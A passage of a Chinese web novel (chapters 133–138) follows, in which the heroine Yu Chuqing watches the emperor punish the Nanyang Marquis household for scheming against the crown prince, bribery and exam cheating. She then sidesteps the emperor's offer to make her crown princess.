她长得好,明艳大方;今天赴宴,衣着华丽、打扮得也是华贵。 跟从前那个侯府嫡女判若两人! 她笑起来,给人一种繁华似锦的感觉。 然而,在桑怀安眼里,却是发出了日暮西山一样的催命信号! 喻初晴淡然说道:“出钱养你们是我自愿的,所以这个不重要。不过你说我灭侯府,倒是说错了!” “其一,有眼睛的人都能看出来,南阳侯府不是我灭掉的。” “其二,我不曾主动对你们做过什么,都是你们自己送上门来不断蹦跶作死。自作孽不可活!” “其三,你们忘恩负义、心肠歹毒,谋害我那是一出接着一出!多行不义必自毙!” 说到这里,她又笑了,道:“你算计储君,会招致什么后果,难道在算计的时候只想着赌赢了你能获得什么,却完全不去思考,万一输了会万劫不复吗?” 桑怀安一怔。 他有点脑子,但想的的确都是阴招! 每当干点啥,首先想的是:干成了,我能得到什么。 他确实不会去想:干不成会怎么样! 有点脑子,但不多! “桑怀志是个明晃晃的赌徒,在赌桌上以为自己能大杀四方。”喻初晴缓缓又道:“而你,是个隐藏的赌徒呢,真不愧是嫡亲的兄弟!” 说着,她微微一笑,说出最后一句:“可惜,你的赌运似乎跟他一样,不怎么好呢!” 桑怀安不肯承认这一点,道:“什么赌运不赌运的!一直以来,我靠的都是自己!” “哦。”萧淼淼实在忍不住了:“你说的靠自己,难道指的是殿试考了第十五名?” 她哼笑,眼里都是嘲讽:“你还真以为,凭你十五名的成绩,就能进翰林院做庶吉士吧?你有没有看过排在你前面的,不说更前面,只说十一到十四名!你看过他们的文章吗?他们都进不了,偏偏你个桑十五做了庶吉士,你竟然以为是靠自己得来的???” 桑怀安没看过! 当时他进了翰林院,便以为是自己的能力得到了几位大学士的赏识。 之后便一直想办法打点上峰,哪里顾得上去看那些“比不上”他的人的文章、考察过他们的能力? “桑怀安!”萧淼淼冷笑:“你能做庶吉士,不是因为你有多厉害,而是因为初晴在背后帮你打点来的!” 桑怀安猛地看向喻初晴。 他不肯接受这个事实! 而就在此时,林畅与梁实来了! 林大学士,梁祭酒,都是学术界的元老级人物。 桑怀安连忙上前:“您二位怎么来了?” 可惜,不管是林畅,还是梁实,都没有理他的打算。 他们朝两个皇子行礼之后。 林畅转头,对喻初晴无奈地说了句:“你这小姑娘,怎么老被人欺负呢?” 桑怀安:“!!!” 第133章 到底是萧金煜,还是萧思远? 林畅的脸色不是十分好看,看上去好像很嫌弃喻初晴的样子。 但,从他的语气可以听出来,只有非常熟识的关系,才会把话说得如此亲昵。 在桑怀安震惊的眸光下,喻初晴朝二人走过去,福身行礼:“老师、林老!你们可算来了!” 传说中脾气超臭、最为固执的国子监祭酒梁实,对喻初晴笑得和蔼可亲:“好啦好啦!以后你可上点心吧,老林也没说错你,一天天的,路过的狗都要咬你一口!” “冤枉啊老师!”喻初晴无奈笑道:“我是香饽饽呗,狗要咬我,那也不能怨我呀!毕竟,狗连屎都吃的,我再怎么抹黑自己也防不住啊!” 见梁实数落了喻初晴,林畅立即当帮她说话:“行了你,初晴都受委屈了,你还说她做甚?一把年纪了,还为难小姑娘!” “我怎么就为难她了?”梁实当即要跟他对线:“那不是事教人精,老夫也是为她好!再说了,不是你先抱怨她的吗?你说就行,我说两句就不行?” 在其他人面前:这两位老夫子,怎么这样? 幼稚! 为这点事都能吵起来? 在喻初晴面前:俩小老儿一直这样! 她无奈浅笑:“您二位别吵啦,我这不是好好的么?也没掉根毛的!” 转头,瞥了震惊的桑怀安一眼,她说道:“今日的事,请两位多多上心。” 桑怀安顾不得刚才还跟喻初晴站在对立面,没忍住问:“你……你怎么跟林大学士这般交好?” 她拜了梁祭酒做老师,这件事已经不是秘密。 但! 跟林大学士也这么好,到底是怎么做到的? 应该是梁实带的吧? 毕竟梁实跟林畅一直交好,带自己的学生去拜见林畅,很正常。 但,林畅也很难搞。 能拿下他,不是仅凭梁实牵头就能实现的! 喻初晴唇角挂着一抹嘲弄:“不然,你以为你能进翰林院,是因为什么?” 桑怀安脸色一白。 难道,他能进翰林不是自己的本事,而是真如萧淼淼所说,是喻初晴走关系给他打点出来的? 不想相信,但摆在眼前的事实,由不得他不信。 林大学士他又不是没接触过,别说他了,整个翰林院就没有人见过他和蔼可亲的模样! 据说,他的子侄辈、孙子辈,就没有人不说他严厉苛刻的。 但! 瞧瞧他对喻初晴的态度,哪里来的严厉?哪儿来的苛刻? 那完全就是宠溺啊! “林大学士、梁祭酒……”他转头,想要跟两小老儿说点什么。 不想,二人依然没理他。 林畅更是嫌恶地扫了他一眼后,就撇开头了。 桑怀安顿时面色僵硬。 梁实转头,朝守在御书房门外的大太监说道:“苏大伴,劳烦您给皇上禀报,梁实与林畅求见皇上,有章要奏!” 这位梁祭酒,但凡有点朝堂阅历的,都不会忘记他从前在御史台参这个、斥那个、谁都敢申饬的盛举。 两朝狠人,战绩可查! 尤其是,他桃李满天下,满朝文官多少他的徒子徒孙? 林大学士虽然也是个大儒,甚至在朝名声很好,可比起梁实的难缠,真比不上! “是,请二位大人稍候。”苏大伴转身进了御书房。 “苏大伴稍等。”林畅追上前去,附在苏大伴耳边低声说了句什么。 苏大伴讶然,旋即道:“大学士放心,奴才明白了!” 换了别人,皇后在告状的时候,皇帝尚未吩咐,不是十万火急的事苏大伴是不会进去打搅的。 可眼前…… 桑怀安的脸色更难看了,一颗心也是七上八下的。 桑雪的事被曝光,别说他的官途,就是性命都是岌岌可危! 现在,能救他的人,便只有—— 他不着痕迹地看向萧金煜与萧思远的方向,没敢光明正大,只是瞧了一眼便错开。 喻初晴一直观察他,没错过这个微小的举动。 然后问题来了—— 他看的到底是萧金煜,还是萧思远? 不管看的是谁,这两个皇子都是问题,她不介意先一棍子打翻一船人! 不管是萧金煜,还是萧思远,都要派人去查。 没查清楚之前,这两个皇子都会被她当做仇敌! 宫廷权谋下,圣母心、道德圣人,是死得最快的。 宁错杀,不放过! 不多时,苏大伴出来了:“林大学士、梁祭酒,皇上宣二位觐见!” 又看向桑怀安:“桑大人,您也请!” 嘴上仍旧恭维,但那眼神已经看得出来什么。 在这位皇帝心腹眼里,桑怀安已经死了。 梁实率先进入。 林畅回头看了一眼,朝喻初晴招手:“你跟老夫一块儿进去!” 虽然皇帝没召见,但他捎带一下喻初晴进去看戏,皇帝会睁一只眼闭一只眼的。 这点自信,林畅还是有的。 喻初晴讶异地抬头。 老实说,不是很想进! 但苏大伴竟然没阻止,反而还道:“永安县主,您也请!” 喻初晴只得跟着两老儿一起,桑怀安落在后面,几人进入御书房。 跪拜。 喻初晴眼角的余光一扫,看见了坐在御案一侧的皇后,以及跪在地上的桑雪与梁山。 御书房内的氛围,相当阴沉。 混淆皇室血脉这种事,没有任何一个皇帝能忍! “平身。” 皇帝萧全,看向两个华发老臣,自然不可能让两朝元老跪太久。 众人站起后,他眸光转向喻初晴。 眼前这位看上去十分恬淡的少女,就是救了太子却不声张的喻初晴! 模样生得好,气质也相当沉稳。 但萧全什么也没说,眸光扫向桑怀安,怒斥:“大胆桑怀安,竟敢谋算太子!” 桑怀安扑通又跪了下去,双手高举压在地上、额头贴在地面,完全臣服的姿态,道:“罪臣该死!” “你何罪之有?”萧全沉声问。 桑怀安从来没有这么老实过:“臣不该妄想通过舍妹,谋求青云之路。因为私心而走岔了路,算计到了太子殿下头上!臣,该死!” 他一向心眼多,说话做事总是保留几分不到心的。 但在皇帝面前,却不敢耍半点心眼子! 可他如此说话,其实还是想给自己谋一条求生之路。 萧全厉喝:“你是如何算计太子,从实招来!” 第134章 其禽兽行为令人发指 桑怀安身体发抖,强忍着恐惧,尽量长话简说:“回皇上话,国子监较文大会上,罪臣鼓动舍妹去向太子献身,收买了当时在海晏堂做事的小厮,将舍妹送了进去。太子殿下仁慈,将舍妹收做侍妾!” 说得越简单,越容易掩盖自己做出来的事的可恶程度。 喻初晴感慨:说得太简单了。 太子身边的人做事,哪有这么容易收买? 当时,她怀疑过萧风岚——毕竟这种缺德事儿,在当时他对太子有醋意的情况下,他绝对干得出来! 而且,当时在国子监,有这手眼通天、插手到太子身边去的本事,也就他逍王莫属。 当然,萧风岚是不会承认的。 她只当他装。 但此时此刻细思,却觉得没这么简单,她很可能错怪萧风岚了! 结合太子遇刺被她所救、南陵盗墓天有异象、响马盗异军突起……如此种种,只怕是背后有一只看不见的大手,在无形推动这些事! 桑怀安背后,有人帮他! 天下熙熙皆为利来。 既得利益者,有最大嫌疑! 倘使太子死了、太子倒台,谁会得利? 当今皇帝有六子: 六皇子才五岁,直接排除; 二皇子常年戍边,并不在帝京,暂时排除; 四皇子久病不愈,在皇家园林里静养,不确定有没有幺蛾子,待定; 常年留在帝京的除了太子,便是三皇子和五皇子。 这两人虽然年纪不大,却都入朝在职,还是有拥立追随者的。 此时,这两只皇子人都还在外面呢。 首先怀疑的,自然也是这两个! 那么话题扯回来——当时把桑雪送进海晏堂;后来在太子府把桑雪送太子床上,让桑雪成功得手的助力,究竟是萧金煜,还是萧思远? 这些事,一时半会儿的也想不明白。 而眼前—— 听了桑怀安的话,萧全怒得将摆在面前的镇纸,朝桑怀安砸了过去! 镇纸硬邦邦的,直朝桑怀安脑门砸来,他却不敢躲避半点。 那么大一个镇纸,硬生生砸在了他额头上,立即破皮流血! 他连忙磕头:“臣知罪,皇上息怒!” 苏佩云在一旁,说道:“皇上,可不值当为了这种混账东西,气坏了龙体。” 先前桑雪是如何跟野男人苟合怀上身孕的,已经都给皇帝交代过了。 到了此时,也到了处置的时候。 堂堂的储君被如此算计,中宫皇后能忍下来就怪了! “皇上,桑怀安如此大胆、南阳侯府竟敢如此欺辱储君,恳请皇上为太子做主啊!” 皇后自然不能越过皇帝,给出惩处。 按苏佩云的意思,恨不能立刻将桑怀安、桑雪杖毙,而南阳侯府,直接满门抄斩! 南阳侯的爵位本就到头了,但不能让他自己到头,就应当褫夺爵位! 不然,还有下一个桑怀安、下一个桑雪,怎么办? 萧全也有此意。 先前太子来告状的时候,他就觉得南阳侯府实在是不把太子放在眼里。 碍于桑家祖上的功勋,想到南阳侯世袭已到了最后一代,睁只眼闭只眼也便罢了,保留了他的爵位,只革除了他的官职,命左都御史去申饬,以儆效尤。 但现在! 萧全也是后悔:当时就应该将南阳侯一家全都贬为庶人,就不会有后面这些事了! 他正要开口,却见林畅上前:“启禀皇上,臣、有本要奏!事关桑怀安,臣恳求皇上听完臣的奏本,再行裁决!” 听说事关桑怀安,萧全拧眉:“准奏!” 林畅躬身行礼,双手将奏折举到头顶,铿锵有力地道:“臣检举翰林院庶吉士、七品编修桑怀安,在职期间多次贿赂上峰,包括、但不限于财帛、女色!更甚者,有给上峰赠送幼女娈童的行为,混乱我朝纲纪,其禽兽行为令人发指、德行堪忧!” 这话一出,喻初晴是震惊的。 她知道林畅肯定能掌握掰倒桑怀安的证据,小小七品官,对林大学士来说,岂非轻松拿捏。 但,她是真没想到:经过了这一段时间的查探,林畅掌握的证据里,竟然还有桑怀安给上峰赠送幼女娈童这种事! 妈的! 当真禽兽不如! 只听得林畅又道:“老臣这阵子搜集证据,罪证确凿、且充分!已随奏章一同奉上,请皇上过目!” 苏大伴也听得愣住。 接收到皇帝的眼神,赶忙走过去将奏折接过,呈到萧全面前。 其实,桑怀安所做的事,在官场再正常不过。 财权交易、权色交易,屡见不鲜! 别说封建王朝,就是现代,幼女娈童这种也是有的。 多半已经形成产业链,有需求就有供给的模式! 只是做得很隐秘,很多人不知道罢了。 这种事吧,曝光了就是死,不曝光就大家都相安无事! 当然,一旦曝光,就会推一个替死鬼出去挡枪,其他人完美隐身,仍旧作奸犯科! 喻初晴的思绪飘远了,重新拉回来—— 此时,桑怀安被举证了这些,他额头上鲜血与冷汗齐刷刷地往下流,浑身都在发抖! 然而这还不算,梁实也跟着上前一步,与林畅如出一辙的动作:“老臣有本要奏!” “臣执国子监多年来,为我朝挑选、培育、输送人才,不想却在几个月前的较文大会上,竟看走了眼!” “参会才子桑怀盛,乃南阳侯第四子,现场所作文章通过了较文大会,使其成为国子监监生。” “但,从桑怀盛在国子监数月的表现来看,此子胸无点墨、难堪大才!” “臣多次听夫子们对其的才学发出质疑,疑惑之下,便下令从较文大会开始、彻查此人!” “最终查实,桑怀盛当初参会所作之文,并非桑怀盛本人所作,而是早便押题背稿。作文之人,另有其人!” “桑怀盛本人,日前因杀害祖母被大理寺收监,臣昨日前往大理寺牢狱审问,其老实交代——” “原来,竟是他的次兄桑怀安,提前押题作文,令他一一背诵后,在较文大会的堂上默出来的!” “兹以为,桑怀安、桑怀盛兄弟二人如此行为,严重扰乱国子监学纪,是不将我朝律法放在眼里。” “为免日后还有此违法乱纪之事发生,老臣跪求皇上重判,以儆效尤!” 一番慷慨陈词、义愤填膺,比林畅简单陈述事实,要有文采多了! 第135章 终于,等到了今天! 林大学士私以为:同样都是文臣,这老梁头不愧是御史台出身的老臣,老夫自愧弗如啊! 喻初晴在心里笑。 她这位老师啊,实在是太可爱! 但,对桑怀安本人来说,却是狗头铡一个又一个跟着落下! 完了,全完了。 数罪并罚,他只有死路一条。 不判满门抄斩,都是皇帝仁慈,看在祖宗功勋的份上! “二哥……”桑雪也是怎么都想不到,她这个亲二哥做事,竟然这么不要命? 那她一直以为二哥有点才智,干什么都听他的,是为了什么??? 为了把自己的命送他手里吗! 难怪,桑怀安把自己的亲妹妹送出去拉皮条,竟是这样顺手! 她不知道,喻初晴却知道: 智者千虑,不如蠢人灵机一动。 当蠢人开始思考,上帝就开始发笑! 要聪明不聪明的人走上邪路,毁灭性更恐怖。 聪明人,其实更容易走歪路。 监狱里关着的,基本可以分为这两种人:用脑子却不走正道的、不用脑子冲动行事的! 此时,两份奏折,放在萧全面前。 萧全只觉得一股强烈的烦躁从心头涌上来。 浏览了一遍随着奏章一同送来的证据,他额头上的青筋一抽一抽的。 气得他当即将两份奏折叠在一起,狠狠朝前方地面一摔,怒道:“传朕旨意!” “大胆桑怀安,算计储君、企图混淆皇室血脉;贿赂上峰、贩卖幼童;帮其弟作弊进国子监……混乱朝纲、违法乱纪,罪不容诛!” “将桑怀安拖出去,杖责五十庭杖后,将其打入天牢,三日后菜市口问斩!” 处置来了! 喻初晴心想:赶紧的吧,我想回去了。 好在,萧全是个做事比较利落的皇帝,紧接着又道:“其弟桑怀盛,弑杀祖母,有违孝道、罔顾人伦;作弊入国子监,滥竽充数、扰乱法纪!着大理寺三日内结案,责桑怀盛与桑怀安一同,三日后菜市口问斩!” “其妹桑雪,不知廉耻勾引储君,背叛夫婿同他人奸淫,企图混淆皇室血脉。同桑怀安一道打入天牢,三日后菜市口问斩!” “南阳侯德行有亏、治家不严、教子无方,纵子作恶多端、天理难容!” “按律当褫夺其侯爵之位、满门抄斩!” “念其祖上于建朝有功,将满门抄斩宽大处理,桑家主支全部贬为庶民,流放三千里、永世不得归京!桑家旁支,有官职者削官三级,无官者贬为庶民!” “至于梁山此人,念在他出于孝心、不知情被蒙蔽其中,死罪可免。然,活罪难逃!责令京兆府将其收监,按律处置,牢狱之刑不得低于三年!” 一系列判罚落下,苏佩云站起来,走到前方跪下:“皇上圣明,臣妾谢皇上为太子做主!” 林畅与梁实二人也跪了下去:“皇上圣明,乃江山之幸、社稷之福!” 听说要被斩首,桑雪昏了过去。 桑怀安也软倒在地。 再一次痛恨自己的体质:即便遭遇这样的事,他依旧晕不过去! 喻初晴自然也是跟随跪下。 面部与地面平行的时候,她唇角微微一勾,长长吐了一口气。 终于,等到了今天! 南阳侯府,将不复存在! 桑怀安与桑雪,以及梁山,都被拖了下去。 皇后事情办完,也告退了。 临走时看向喻初晴,眸光颇有些意味深长。 喻初晴眼观鼻鼻观心,恭谨行礼,面上不动声色,心道:这样的皇后,扶持太子只怕是很危险! 我他妈扶持你的儿子上去,你却对我虎视眈眈,随时可能搞我…… 加上萧景明的执念过重。 她要想法子撤股了! 只要她肯放弃帝京的一切,跟父兄回祖籍,成为隐世家族中的一员,再也不踏足萧氏皇朝,就可以摘得干干净净。 而目前而言,她认为还不需要走到这一步——那是走投无路才会做的选择。 区区一个皇后,就让她怕到放弃多年经营躲起来,那必须不能! 边走边看吧,想把萧景明拉下来的人不知凡几,她不至于插萧景明两刀,但也可以袖手旁观,不是么? 萧全又说道:“林卿、梁卿,你二位也先出去。永安留下,朕有话要问你。” “臣告退!” 很快,御书房内便只剩下皇帝、喻初晴,以及苏大伴三人。 喻初晴端正地站着,垂眸盯着自己的脚尖。 萧全站起,走到一旁的太师椅上,道:“不用这般紧张,过来这边喝口茶,朕也就是与你闲聊几句。” “是,皇上!”喻初晴从命。 皇帝端坐了其中一张太师椅:“赐座!” 喻初晴这才谨慎落座。 压力大。 但,也没什么好怕的。 她内心淡定如常,表面还是要做出怯生生的模样,“谢皇上!” 隔着一张紫檀木茶几,喻初晴闻到了一点被龙涎香盖住的香料味道,很淡很淡。 倘若她不是学医出身、摸中药多年,绝对闻不出来的那种。 也就是上回萧风岚身上沾回去,被她质疑的味道! 所以,萧风岚没说谎,味道果真是从皇帝这里沾上的。 萧全自是不知她心里在想这些,面色比方才缓和多了,道:“听说你会点医术?” “永安不才,略懂皮毛而已。”喻初晴应答得很保守。 不是谦虚,是保守。 萧全笑了,道:“以前不曾知晓,你这性子还怪有趣的。太子与朕提起过你,对你赞誉有加。当时朕便想,太子对女子的眼界可是很高,什么样的女子才能入他的眼?此时见了你,只觉太子的眼光还是不错的!” 喻初晴依旧谨慎应对:“谢皇上赞赏、谢殿下抬举!” 跟“领导”说话,多说多错,不说不错。 又不能完全不说,得察言观色! 别问,问就是被她那个龟毛的霸总朋友训练出来的! 见鬼的霸总,屁事儿超多。 但,他给的太多了,她调整调整自己,还在能接受范围。 谁会跟很多很多钱过不去呢,是吧? “南阳侯府苛待于你,如今他们也算自作孽不可活。”萧全又道:“永安啊,以后你就不用担心再被他们算计谋害了。” 喻初晴微笑道:“皇上圣明,是臣子幸、是臣女福。全凭皇恩浩荡,初晴才得以喘口气!” “你这孩子……”萧全没忍住笑了,道:“真会说话!” 喻初晴笑而不语。 开玩笑,拉拉扯扯那么多,还不知道皇帝到底想说什么呢。 她有直觉,不会是什么好事。 果然—— 正题来了! 第136章 地球太危险,我想回喵星 萧全终于进入正题了:“永安啊,朕观太子对你相当上心。太子即将年满二十,朕为你俩赐婚,封你为太子妃,你看如何?” 皇帝语气很是温和,身为帝王,想干什么事还问对方的意见,多难得? 喻初晴:…… 我看,艹! 然而,面对皇帝、并且客观来说,这还是天大的恩赐、是多少人梦寐以求的太子妃位置。 受宠若惊是应该的,宛如填上掉下一块金子,砸在脚背上! 喻初晴恰到好处地展露出受宠若惊的神色,嘴里却是道:“皇上,永安不才,并非一句谦辞。而是,当真自惭形秽,自认无法与储君般配。” 她抿了抿唇,尽可能表现出“弱小、可怜、无助”的模样,道:“对太子殿下、对皇后娘娘,永安都是这样想的。太子很好,但永安不仅没有与储君匹配的家世,亦没有能做太子妃的贤能。” 说着她站起,跪了下去,垂首说道:“皇上,臣女惶恐!这皇恩浩荡,接也难、不接也是难!请皇上为臣女指一条明路!” “哈哈!”萧全没忍住大笑起来:“你瞧瞧你瞧瞧,朕不过就是问了一句,就把你给吓的!起来说话吧。” 喻初晴还是跪着,道:“皇上,臣女胆小了些,禁不住吓。您是九五之尊,臣女若做错了事,您轻轻一弹指,臣女便灰飞烟灭了,焉能不惧?臣女之惧,并非皇上吓人,而是出自于对天子的敬畏!” 千穿万穿,马屁不穿。 她没有能与皇帝抗衡的地位,就该苟着! 果然,这话的确把萧全哄高兴了,乐得哈哈大笑:“你这小姑娘,怪会说话的。难怪太子这般喜欢你!” “恳请皇上收回成命!”喻初晴“弱弱”地说了句,甚至不惜学习上萧风岚的绿茶手段:“臣女微小不足以道也,恐德不配位会自取灭亡。皇上您就当臣女是一粒尘埃,一扇风便给打发了吧!” 还别说,萧狗子这一套绝对有用。 苏大伴都忍不住侧目,高看了她一眼。 不得不说,他跟在皇帝身边伺候数十年,谄媚的没少见,但拍马屁到这般不令人讨厌的,还真是种本事! 先不说她能不能做太子妃,只说她这等通透,未来就不可能平庸。 此女,即便不能结交,也绝不可得罪。 金鳞并非池中物,一遇风云变化龙! 谁知道哪一天,她就入了哪位贵人的眼、晋升了尊贵的地位呢? 刚刚发了大脾气的萧全,正是需要有人能给自己逗乐的时候,还真被她哄得鼻孔能过马车。 “行了行了,太子的婚事,也不可如此轻易说定,等他将响马盗剿灭了班师回朝,再行定夺吧!” 太子是有立功求赐婚的心思,但喻初晴这般抗拒这婚事…… 只怕到时候也并不好办。 皇帝不是不可以强行赐婚,但也要看对象的。 喻初晴看着势单力薄,但据他命人暗中探查,得出的消息着实惊人。 此女,当真是沉得住气。 与这么多权贵交好,却从不出来嘚瑟,绝不以此为傲,甚至从来不以恩情裹挟任何人。 最后这一点,很难做到。 如此种种,颇得人心! 她,确实是太子妃的最佳人选。 这种心性的女子,须得知才善用,利用好了、总比毁了她要有利! 所以,萧全此时对她是相当宽容:“没有其他事了,你跪安吧。南阳侯府的事,令你受了委屈,回头朕命人送一些小玩意儿去县主府,就当给你压压惊!” “谢主隆恩!”喻初晴忙不迭行礼,旋即道:“臣女告退!” 能跑路,就赶紧撤。 喻初晴火速退出御书房。 合欢木棉在外面等着她,见她出来了,大家都没吭声,沉默着转身就走。 几人出了乾坤宫,合欢才敢说话:“县主,方才桑怀安与桑雪被拖走,皇后娘娘也走了,三皇子与五皇子也跟着离去。郡主和薛小姐不宜留在里面,便说她们先去轿马场等你。” “嗯。”喻初晴不多话,只道:“先出宫。” 这皇宫,实在是不想来了! 皇帝、皇后、太子,都想逼婚…… 妈妈,地球太危险,我想回喵星! 轿马场。 薛涵坐在自家马车的车辕上。 萧淼淼根本坐不住,在场子上来回走着,惯用的鞭子也捏在手里,东抽抽、西抽抽! 她们都是千金贵女,却忍耐着热意,在臭烘烘的轿马场等着喻初晴。 “怎么这么久?”萧淼淼急得像热锅上的蚂蚁:“以前咱们就经常这样等,我还以为如今终于不用了,怎么还要等!” “今天的事儿,不是结束了吗?不是跟咱们没关系了吗?难道还要追究初晴的责任?” “憨憨,你说句话啊!” 薛·憨憨·涵无语地叹了一口气:“以前是初晴不想光明正大来往,怕惹麻烦。每次有点什么事,咱们等她,也是确定她没事后,我们就走了。现在不是可以一直等,一会儿还可以与她说话,问她怎么回事吗?问完后,咱们还可以跟她一块儿回府!你坐下行不行,算我求你!都快把你的七十二鞭练完一遍了,你不累我都看累了!” 她心情也不见得轻松,所以一张嘴就是连珠带炮的。 平日,她话也没这么多。 萧淼淼脚步一顿。 确实累了,她跳上车辕跟薛涵排排坐,问:“你觉得,皇上单独留初晴,会说什么?” “我祖父都不敢揣度圣意,我敢?”薛涵很想翻白眼。 有时候跟小喵喵这个人说话,真的会很绝望的! 萧淼淼想想也是:“好吧,高估你了。” 好在这时候,去望风的丫鬟来了:“县主出来了,朝这边过来了!” 两人都立即下了车辕,朝前方迎去。 不多时,便看见喻初晴的身影。 见她们俩面露焦急,她不由笑了下,道:“没事,我们走吧。” 萧淼淼立即问:“皇上跟你说什么了?” 皇帝算她的堂兄,但她也是怕帝王威严的! “回府再说。”喻初晴先上了马车。 薛涵和萧淼淼也跟着上了永安县主府的马车,见她神色有些严峻,虽然都很紧张,却也没问。 她不说,肯定是不宜在外面说! 永安县主府。 今日恰好是喻家人五日一聚的日子,除了跟随太子亲征的喻尚武,所有人都在家。 见来了客人,白婉蓉立即吩咐厨房加菜。 喻慕文敏锐地察觉情况不对,张口问:“发生什么事了?” 有种直觉:他家妹妹要做什么重大决策了! 第137章 随时都可以出发 一众坐在小花厅内,主客见礼后,茶水送上了,喻初晴让合欢木棉都出去。 薛涵与萧淼淼也立即屏退自己身边的人,花厅内除了喻家人,就是小姐妹两个。 喻初晴开门见山地说道:“皇帝想我辅佐太子,皇后想我当她的刀,太子很可能会在亲征之后,以功劳求赐婚!” 当真没有丝毫拐弯抹角。 信息量不但直白,还惊人! 所有人怔怔地看着她。 她又补充了一句:“不是我太自信,而是我相信自己的直觉!” 喻今歌是他姐的脑残粉:“姐你这不叫自信,而是事实!” 说完,就被喻慕文敲了敲脑门。 喻昔词愣了下后,便淡定下来,道:“原先就想过这种可能,只不过没想到帝后的想法竟如此统一。” 辅佐太子,何尝不是给太子做刀? “历来,为高位者披荆斩棘者,最终都没几个有好下场的。功高震主,持刀者终究会惧怕这把刀反过来对准自己。”喻慕文史书读得多。 他盘着手中佛珠,一粒一粒缓慢捻过,道:“晴晴,回祖籍吧!” 闻言,萧淼淼警醒地道:“喻三公子,我怎么觉得你说的这回祖籍,意思是让初晴以后不回来帝京了?” 喻慕文并没有避讳,道:“的确是这个意思!” 是喻初晴的客人,所以他们招待着。 但他们不愿意跟萧家人来往密切,所以喻慕文也仅仅是客气,并不想跟萧淼淼过多接触。 萧淼淼急了,立即转头看向喻初晴,问:“初晴,你的意思呢?你也这么想的吗?” 好不容易等到小姐妹可以光明正大来往了,结果喻初晴要远走他乡,以后再也不回帝京了? 古代车马慢,天遥路远,很多人一时分别,就是一辈子! “若为了避祸,未尝不可。”薛涵倒是比她沉稳许多,道:“只要避开一两年,初晴成婚了,太子殿下总不能强娶子民的妻子!” 喻初晴:“……” 为何不可能? 想想唐玄宗,是怎么把杨玉环弄到手的! 这种事,在历史上并不算少。 皇权顶峰的男人想要什么,只要豁得出去,如何得不到? 所以,她不喜欢看任何男主是皇帝的电视剧或者小说。 未来很漫长,烟花易冷、人心易变! 权势、财富,都是会腐朽人的意志的。 不说男人,女人也一样! 但她也没有一锤子做决定,而是道:“南阳侯府已经彻底玩完了,我先回祖籍认祖归宗。这一去少不得数月,届时看看时局如何,再做决定也不迟。” 反正,储位之争已经开启了,鹿死谁手,尚且是未知数! 皇帝说的话,必定是保守的。 萧景明出征前夕跟她说的,是说他只提了延迟成婚的请求,可没说想要赐婚于她。 要不怎么说,男人的话不可信呢? “好。”喻昔词立即道:“我已经打点好了整条路线,随时都可以出发。” 他看了一圈自家人,道:“只带非不可的东西就行,衣食住行都不必操心,我全都安排好了。” 喻惊鸿白婉蓉夫妇,历来对长子的能力是没有怀疑的。 平心而论,他们的儿子们,个顶个的优秀,没有一个需要他们操心的。 即便是年仅十三的喻今歌,也是如此。 很多时候,他们想表现一点对孩子的照顾,都没有机会! 还以为找到亲生女儿,就可以享受一下小棉袄的贴心。 谁知,这女儿比儿子还独立! “那好呀,我收拾自己的东西就好了!”喻今歌没别的说的。 他也是刚知晓家里不穷,听起来竟然还是个大族。 但他的心性也算很沉稳了,并没有因此而一惊一乍的,小小年纪颇有些宠辱不惊的样儿。 “你出个人一块儿回去就成,准备什么?”喻慕文掌心的佛珠捻过一圈,换到了右手继续盘。 喻今歌瞪眼,道:“衣食住行大哥都包了,那我就带我学医用的东西呗!一去数月,可不能耽误了我的学习!” 以前在家,他除了要念书练武外,还包揽了家里所有家务活儿。 住进永安县主府后,家务不用做了,分出来的时间都用来学医,短短数月,他已经学了好多知识了。 他不服气地道:“再说了,我姐是回去认祖归宗,难道我不是啊?说的好像我认过祖宗似的!” “是是是。”喻慕文被这个弟弟逗笑了。 喻惊鸿倒是更关心今日发生了什么事:“晴晴,今日宫宴上,你是不是被找麻烦了?” “不算。”喻初晴还不把这些事放在眼里。 她把桑雪怀孕小产、皇后企图考验她为难她、她举证曝光真相、桑雪攀咬桑怀安、林畅梁实举证上奏、皇帝处置桑家全族的事,简单做了个总结说明。 用通俗易懂的语言,三言两语勾勒完这么多事。 听得喻今歌瞪眼、瞪眼、再瞪眼:“不是吧?桑雪不是个聪明的,那桑怀安也有这么笨?他不是汲汲营营、满肚子算计吗?怎么会这样愚蠢!” 他震惊无比:“我的天呐,这是什么样的脑子,才想得出来借种这种主意啊!” 喻慕文点头应和,道:“我若是桑怀安,面对家里这群蠢材不断拖后腿,那就自请下放。只要能暂时避开这潭死水,到地方做个知州知县都好。即便桑家人再作死,看在我不在帝京的份上,皇上也会从轻发落,说不定还能保证官身,断臂止损!不仅可以保持自家最后的血脉,也是唯一的出路!” 喻昔词同意他的说法:“他毕竟还年轻,在地方熬个十年八年,等所有人淡忘南阳侯府了以后,再想法子回京,并非完全没可能。” “可惜,桑怀安不是三哥。”喻初晴一语道破:“他那个人,只愿意接受往上爬,不肯接受半点向下兼容,是不会愿意从翰林院庶吉士、下放去做个知州知县的。他是个赌徒,永远想的都是赢钱后如何如何,不去想输了会怎么样!” 倘若桑怀安是个能伸能缩的人,以前就不会满心功利,想送她去给宁亲王做妾了! 没有这些事,她也不会追着他打! 她又道:“再说了,我早前就已经拜托林大学士,搜集能够弄他丢官的证据。他又能跑到哪里去?” 说到这,她语气一转折:“只是,我想过桑怀安为了向上爬,贿赂是正常的,我也没觉得这种事有多大问题。但是——” 第138章 生而为人,我很抱歉! 在官场上,这种事情真的太正常不过。 现代的干部,理论上是不能做这样的事的。 但封建时代,有几个官员全靠清廉能往上爬的? 物以稀为贵,史上出了名的清官也就那么寥寥几个,都被奉为圣人百世流芳! “但他……”喻初晴叹了一口气,道:“我真的是,无论如何也没想到,他还有进献幼女娈童这种事!超出我对他的认知。” “真是个道貌岸然的伪君子!”萧淼淼怒道:“那皇上没说要查受贿的那些渣滓吗?” “今日没说。”喻初晴答道:“但,梁老师是不会放任不管的。他一向对这类事嫉恶如仇,想来已经准备好,让御史台的师兄们参本子了!他要做这件事,林老只会赞同,并且提供证据!” “那就好!”萧淼淼依然愤愤不平:“真的是禽兽啊!桑怀安是禽兽,那些受下这种进献的,都不配为人!要不是他们喜好这般变态,桑怀安怎么知道要送这些?” “事已至此。”喻初晴无奈:“你就别为这个事生气了,如果真的想做些什么,不如回去跟定西王提一提。” 怎么说呢? 人才是世上最坏的动物! 不管是哪一类众生,都没有人类狡诈、阴险、毒辣! 生而为人,我很抱歉! 